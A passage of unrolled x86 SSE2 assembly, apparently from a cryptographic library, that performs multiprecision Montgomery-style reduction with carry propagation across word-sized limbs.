movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (96)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (48)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (100)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (92)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (92)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (96)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (96)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (100)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(52), %edx
jmp .Lfinishgas_1
.Ltst_reduct14gas_1:
cmp $(14), %edi
jne .Ltst_reduct15gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (56)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (56)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (60)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (60)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (64)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (64)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (68)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (68)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (72)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (72)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (76)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (76)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (80)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (52)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (80)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (84)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
